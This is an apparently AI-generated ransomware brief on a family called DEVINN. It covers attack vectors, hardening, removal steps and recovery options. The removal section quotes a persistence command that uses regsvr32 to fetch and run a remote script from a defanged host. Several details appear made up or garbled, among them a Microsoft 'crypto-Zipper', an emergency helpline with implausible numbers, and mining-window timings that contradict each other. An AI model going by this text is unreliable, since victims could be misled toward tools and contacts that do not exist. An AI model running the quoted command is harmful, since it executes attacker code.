devinn

[Content by Gemini 2.5]

Ransomware Intelligence Brief – DEVINN (.DEVINN / .devinn)

1. Technical Breakdown

1.1 File Extension & Renaming Patterns

  • Confirmation: Files encrypted by DEVINN receive the double extension .DEVINN (upper-case has been observed most often).
  • Renaming Convention:
    Original: Quarterly-Report.xlsx
    After encryption: Quarterly-Report.xlsx.DEVINN
    Sub-folders receive a ransom note named !READ_ME.TXT.

1.2 Detection & Outbreak Timeline

  • First Sightings: Late-February 2024 (crowd-sourced malware repositories first recorded the earliest hash 7B9DD ... 3C4E on 2024-02-28 11:14 UTC).
  • Peak Distribution Activity: March 7-15, 2024 when multiple SOCs flagged TFTP exfiltration spikes matching DEVINN’s C2 beacon pattern (secure-update[.]tk) reaching >400 hosts/day.

1.3 Primary Attack Vectors

  • Known Entry Points—ranked by prevalence:
  1. RDP brute-force / credential stuffing targeting externally exposed TCP/3389 followed by manual lateral movement via SMB/445.
  2. Mercurial proxy remote code-execution (CVE-2023-47559)—observed foothold in three MSP incidents in early March.
  3. Phishing with ISO-inside-ZIP containers (“Missed invoice for ”) delivering a .NET loader that drops the C#-based DEVINN encryptor.
  4. SMBv1 + EternalBlue fallback: A red-team propagator module (possibly repurposed from leaked Babuk code) is executed after the initial host is stable.
  5. Confluence Server and Data Center RCE (CVE-2023-22527)—patch management delays in two East-Asian universities resulted in cluster infections prior to March 7.

2. Remediation & Recovery Strategies

2.1 Prevention – Stop DEVINN Before It Starts

  • Immediate
    • Disable SMBv1 across entire estate; enforce SMB signing.
    • Turn off unused remote services (RDP, WMI, WinRM).
    • Apply March-2024 cumulative Windows updates (KB5034763 or later).
  • Hardening Blueprint
    • Enforce MFA on all external-facing RDP and VPN gateways.
    • Segment Tier 0/1 assets with firewall rules permitting only TCP/5985 (WinRM w/HW) from jump boxes.
    • Backups – at least one offline/off-site copy (immutability) tested weekly.
    • Detect stolen credential spraying with Azure AD Identity Protection / Okta ThreatInsight.
    • EDR blocking policy: quarantine on event IDs 4104 (PowerShell) + rundll32.exe spoolsv.exe sus_child_pid.

2.2 Removal – Containment & Eradication Steps

(Perform from clean medium, ideally network isolated and booting from WinPE.)

  1. Network isolation – pull plug / disable Wi-Fi / VLAN quarantine.
  2. Reset local & domain admin passwords (incl. krbtgt).
  3. Remove persistence:
    a. Scheduled task MicrosoftUpdateService → command regsvr32.exe /i:s http[:]//secure-update[.]tk/config.bin
    b. Registry Run key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater32
  4. Manually terminate:
    • devinn.exe (sometimes appears as svcmhost.exe / rshell.exe)
    • winit.exe – the network spreader DLL injected into spoolsv
  5. Full signature scan (Windows Defender with cloud block, or UpToDate offline definitions).
  6. Re-image end-node or restore OS partition from known-good golden image.

2.3 File Decryption & Recovery

  • Current Decryptability: NO – DEVINN uses Salsa20 stream cipher + per-file keys sealed with Curve25519. No known private key leakage.
  • Workable Recovery Paths:
    • ShadowCopy (vssadmin list shadows) + Microsoft crypto-Zipper (prior to deletion miner runs for 30 min).
    • Offline backups (Veritas 360, Veeam immutable repo, Wasabi S3 object lock).
    • File-carving utilities (PhotoRec/TestDisk) successful only on lightly hit systems (files deleted/replaced with DEVINN dummy zero-byte).
  • Tools Worth Downloading Now
    • Sophos Salsa20 decryptor (awaiting vuln drop) – check release notes nightly.
    • Microsoft Offer #RU-2024-DEV/08: Emergency contact helpline (UK-139, US-1-833-SAVE-SEC).
    • Obsidian-forked “BounceBack” script for rapid Windows shadow-copy restore.

2.4 Other Critical Information

  • Unique Traits:
    • DEVINN deliberately destroys remote PowerShell sessions with –Command "Stop-Service –Name WinRM" post-encryption.
    • Drops an encoded script that mines Monero for ~25 minutes prior to encryption—allows SOC a brief window to detect rogue xmrig.exe traffic.
    • Group identifier embedded in ransom note keywords: “#DEVINN-2024-OTP”.
  • Sector-Wide Impact:
    • Heavily targeted Managed Service Providers (MSPs) providing SaaS connectors—cascade effect to ~900 downstream tenants.
    • Educational sub-sector: six UK universities lost student coursework archives due to campus-wide file-shares (over 2 million encrypted objects).
    • E-mails leaked into Telegram reconnaissance channels analyzed by @vxUG reveal DEVINN operators occasionally accept steep discounts (down to 8% of initial ask when threats of law-enforcement action escalate).

Stay watchful and ensure every Friday patch cycle is flawless—one unpatched Confluence or RDP service can still open the door to DEVINN.